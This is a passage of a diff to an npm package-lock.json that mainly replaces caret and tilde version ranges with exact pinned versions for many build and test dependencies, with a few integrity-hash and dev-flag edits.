}, "dependencies": { "extend-shallow": { @@ -6909,7 +6905,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -6920,7 +6916,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -6929,7 +6925,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -6938,9 +6934,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -6955,7 +6951,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -6964,7 +6960,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -6973,7 +6969,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -6996,19 +6992,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } } } @@ -7019,9 +7015,9 @@ "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "dev": true, "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.14.1" } }, "https-browserify": { @@ -7033,7 +7029,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" + "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" }, "icss-replace-symbols": { "version": "1.1.0", @@ -7047,14 +7043,13 @@ "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", "dev": true, "requires": { - "postcss": "^6.0.1" + "postcss": "6.0.23" } }, "ieee754": { "version": "1.1.12", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.12.tgz", - "integrity": "sha512-GguP+DRY+pJ3soyIiGPTvdiVXjZ+DbXOxGpXn3eMvNW4x4irjqXm4wHKscC+TfxSJ0yw/S1F24tqdMNsMZTiLA==", - "dev": true + "integrity": "sha512-GguP+DRY+pJ3soyIiGPTvdiVXjZ+DbXOxGpXn3eMvNW4x4irjqXm4wHKscC+TfxSJ0yw/S1F24tqdMNsMZTiLA==" }, "iferr": { "version": "0.1.5", @@ -7074,8 +7069,8 @@ "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==", "dev": true, "requires": { - "pkg-dir": "^3.0.0", - "resolve-cwd": "^2.0.0" + "pkg-dir": "3.0.0", + "resolve-cwd": "2.0.0" }, "dependencies": { "find-up": { @@ -7084,7 +7079,7 @@ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", "dev": true, "requires": { - "locate-path": "^3.0.0" + "locate-path": "3.0.0" } }, "locate-path": { @@ -7093,8 +7088,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" + "p-locate": "3.0.0", + "path-exists": "3.0.0" } }, "p-limit": { @@ -7103,7 +7098,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "^2.0.0" + "p-try": "2.0.0" } }, "p-locate": { @@ -7112,7 +7107,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "^2.0.0" + "p-limit": "2.0.0" } }, "p-try": { @@ -7133,7 +7128,7 @@ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", "dev": true, "requires": { - "find-up": "^3.0.0" + "find-up": "3.0.0" } } } @@ -7150,7 +7145,7 @@ "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", "dev": true, "requires": { - "repeating": "^2.0.0" + "repeating": "2.0.1" } }, "indexof": { @@ -7165,8 +7160,8 @@ "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "dev": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -7181,19 +7176,19 @@ "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==", "dev": true, "requires": { - "ansi-escapes": "^3.0.0", - "chalk": "^2.0.0", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.0", - "figures": "^2.0.0", - "lodash": "^4.17.10", + "ansi-escapes": "3.1.0", + "chalk": "2.4.1", + "cli-cursor": "2.1.0", + "cli-width": "2.2.0", + "external-editor": "3.0.3", + "figures": "2.0.0", + "lodash": "4.17.10", "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.1.0", - "string-width": "^2.1.0", - "strip-ansi": "^4.0.0", - "through": "^2.3.6" + "run-async": "2.3.0", + "rxjs": "6.3.3", + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "through": "2.3.8" }, "dependencies": { "ansi-regex": { @@ -7243,7 +7238,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -7254,8 +7249,8 @@ "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==", "dev": true, "requires": { - "default-gateway": "^2.6.0", - "ipaddr.js": "^1.5.2" + "default-gateway": "2.7.2", + "ipaddr.js": "1.8.0" } }, "interpret": { @@ -7269,7 +7264,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.2.tgz", "integrity": "sha1-nh9WrArNtr8wMwbzOL47IErmA2A=", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "invert-kv": { @@ -7302,7 +7297,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "is-arrayish": { @@ -7317,7 +7312,7 @@ "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", "dev": true, "requires": { - "binary-extensions": "^1.0.0" + "binary-extensions": "1.9.0" } }, "is-buffer": { @@ -7332,7 +7327,7 @@ "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", "dev": true, "requires": { - "builtin-modules": "^1.0.0" + "builtin-modules": "1.1.1" } }, "is-callable": { @@ -7347,7 +7342,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "is-date-object": { @@ -7362,9 +7357,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" }, "dependencies": { "kind-of": { @@ -7389,7 +7384,7 @@ "dev": true, "optional": true, "requires": { - "is-primitive": "^2.0.0" + "is-primitive": "2.0.0" } }, "is-extendable": { @@ -7410,7 +7405,7 @@ "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "is-fullwidth-code-point": { @@ -7425,7 +7420,7 @@ "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, "requires": { - "is-extglob": "^1.0.0" + "is-extglob": "1.0.0" } }, "is-number": { @@ -7435,7 +7430,7 @@ "dev": true, "optional": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" } }, "is-path-cwd": { @@ -7450,7 +7445,7 @@ "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", "dev": true, "requires": { - "is-path-inside": "^1.0.0" + "is-path-inside": "1.0.1" } }, "is-path-inside": { @@ -7459,7 +7454,7 @@ "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", "dev": true, "requires": { - "path-is-inside": "^1.0.1" + "path-is-inside": "1.0.2" } }, "is-plain-object": { @@ -7468,7 +7463,7 @@ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", "dev": true, "requires": { - "isobject": "^3.0.1" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -7504,7 +7499,7 @@ "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "requires": { - "has": "^1.0.1" + "has": "1.0.3" } }, "is-resolvable": { @@ -7560,7 +7555,7 @@ "integrity": "sha512-8cJBL5tTd2OS0dM4jz07wQd5g0dCCqIhUxPIGtZfa5L6hWlvV5MHTITy/DBAsF+Oe2LS1X3krBUhNwaGUWpWxw==", "dev": true, "requires": { - "buffer-alloc": "^1.2.0" + "buffer-alloc": "1.2.0" } }, "isexe": { @@ -7600,20 +7595,20 @@ "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=", "dev": true, "requires": { - "abbrev": "1.0.x", - "async": "1.x", - "escodegen": "1.8.x", - "esprima": "2.7.x", - "glob": "^5.0.15", - "handlebars": "^4.0.1", - "js-yaml": "3.x", - "mkdirp": "0.5.x", - "nopt": "3.x", - "once": "1.x", - "resolve": "1.1.x", - "supports-color": "^3.1.0", - "which": "^1.1.1", - "wordwrap": "^1.0.0" + "abbrev": "1.0.9", + "async": "1.5.2", + "escodegen": "1.8.1", + "esprima": "2.7.3", + "glob": "5.0.15", + "handlebars": "4.0.11", + "js-yaml": "3.7.0", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "once": "1.4.0", + "resolve": "1.1.7", + "supports-color": "3.2.3", + "which": "1.3.0", + "wordwrap": "1.0.0" }, "dependencies": { "glob": { @@ -7622,11 +7617,11 @@ "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", "dev": true, "requires": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "resolve": { @@ -7641,7 +7636,7 @@ "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", "dev": true, "requires": { - "has-flag": "^1.0.0" + "has-flag": "1.0.0" } } } @@ -7662,8 +7657,8 @@ "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", "dev": true, "requires": { - "argparse": "^1.0.7", - "esprima": "^2.6.0" + "argparse": "1.0.9", + "esprima": "2.7.3" } }, "jsbn": { @@ -7731,7 +7726,7 @@ "integrity": "sha1-NzaitCi4e72gzIO1P6PWM6NcKug=", "dev": true, "requires": { - "graceful-fs": "^4.1.6" + "graceful-fs": "4.1.11" } }, "jsprim": { @@ -7752,7 +7747,7 @@ "integrity": "sha1-6AGxs5mF4g//yHtA43SAgOLcrH8=", "dev": true, "requires": { - "array-includes": "^3.0.3" + "array-includes": "3.0.3" } }, "jwt-decode": { @@ -7766,31 +7761,31 @@ "integrity": "sha512-ZTjyuDXVXhXsvJ1E4CnZzbCjSxD6sEdzEsFYogLuZM0yqvg/mgz+O+R1jb0J7uAQeuzdY8kJgx6hSNXLwFuHIQ==", "dev": true, "requires": { - "bluebird": "^3.3.0", - "body-parser": "^1.16.1", - "chokidar": "^2.0.3", - "colors": "^1.1.0", - "combine-lists": "^1.0.0", - "connect": "^3.6.0", - "core-js": "^2.2.0", - "di": "^0.0.1", - "dom-serialize": "^2.2.0", - "expand-braces": "^0.1.1", - "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "http-proxy": "^1.13.0", - "isbinaryfile": "^3.0.0", - "lodash": "^4.17.4", - "log4js": "^3.0.0", - "mime": "^2.3.1", - "minimatch": "^3.0.2", - "optimist": "^0.6.1", - "qjobs": "^1.1.4", - "range-parser": "^1.2.0", - "rimraf": "^2.6.0", - "safe-buffer": "^5.0.1", + "bluebird": "3.5.1", + "body-parser": "1.18.3", + "chokidar": "2.0.4", + "colors": "1.3.1", + "combine-lists": "1.0.1", + "connect": "3.6.6", + "core-js": "2.5.7", + "di": "0.0.1", + "dom-serialize": "2.2.1", + "expand-braces": "0.1.2", + "glob": "7.1.3", + "graceful-fs": "4.1.11", + "http-proxy": "1.17.0", + "isbinaryfile": "3.0.3", + "lodash": "4.17.10", + "log4js": "3.0.5", + "mime": "2.3.1", + "minimatch": "3.0.4", + "optimist": "0.6.1", + "qjobs": "1.2.0", + "range-parser": "1.2.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.1", "socket.io": "2.1.1", - "source-map": "^0.6.1", + "source-map": "0.6.1", "tmp": "0.0.33", "useragent": "2.2.1" }, @@ -7801,8 +7796,8 @@ "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" } }, "arr-diff": { @@ -7823,16 +7818,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -7841,7 +7836,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -7852,19 +7847,19 @@ "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", "dev": true, "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" } }, "expand-brackets": { @@ -7873,13 +7868,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -7888,7 +7883,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -7897,7 +7892,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -7906,7 +7901,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7915,7 +7910,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7926,7 +7921,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -7935,7 +7930,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -7946,9 +7941,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" } }, "kind-of": { @@ -7965,14 +7960,14 @@ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -7981,7 +7976,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "extend-shallow": { @@ -7990,7 +7985,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -8001,10 +7996,10 @@ "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -8013,7 +8008,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -8025,8 +8020,8 @@ "dev": true, "optional": true, "requires": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" + "nan": "2.10.0", + "node-pre-gyp": "0.10.0" }, "dependencies": { "abbrev": { @@ -8133,7 +8128,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "fs.realpath": { @@ -8164,12 +8159,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -8202,8 +8197,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -8250,8 +8245,8 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "minizlib": { @@ -8260,7 +8255,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "mkdirp": { @@ -8294,16 +8289,16 @@ "dev": true, "optional": true, "requires": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.2.0", + "nopt": "4.0.1", + "npm-packlist": "1.1.10", + "npmlog": "4.1.2", + "rc": "1.2.7", + "rimraf": "2.6.2", + "semver": "5.5.0", + "tar": "4.4.1" } }, "nopt": { @@ -8338,10 +8333,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -8360,7 +8355,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -8438,7 +8433,7 @@ "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.2" } }, "safe-buffer": { @@ -8515,13 +8510,13 @@ "dev": true, "optional": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "util-deprecate": { @@ -8557,8 +8552,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -8567,7 +8562,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -8578,7 +8573,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -8587,7 +8582,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -8596,9 +8591,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -8613,7 +8608,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -8622,7 +8617,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -8631,7 +8626,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -8654,19 +8649,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { @@ -8696,11 +8691,11 @@ "integrity": "sha512-eQawj4Cl3z/CjxslYy9ariU4uDh7cCNFZHNWXWRpl0pNeblY/4wHR7M7boTYXWrn9bY0z2pZmr11eKje/S/hIw==", "dev": true, "requires": { - "dateformat": "^1.0.6", - "istanbul": 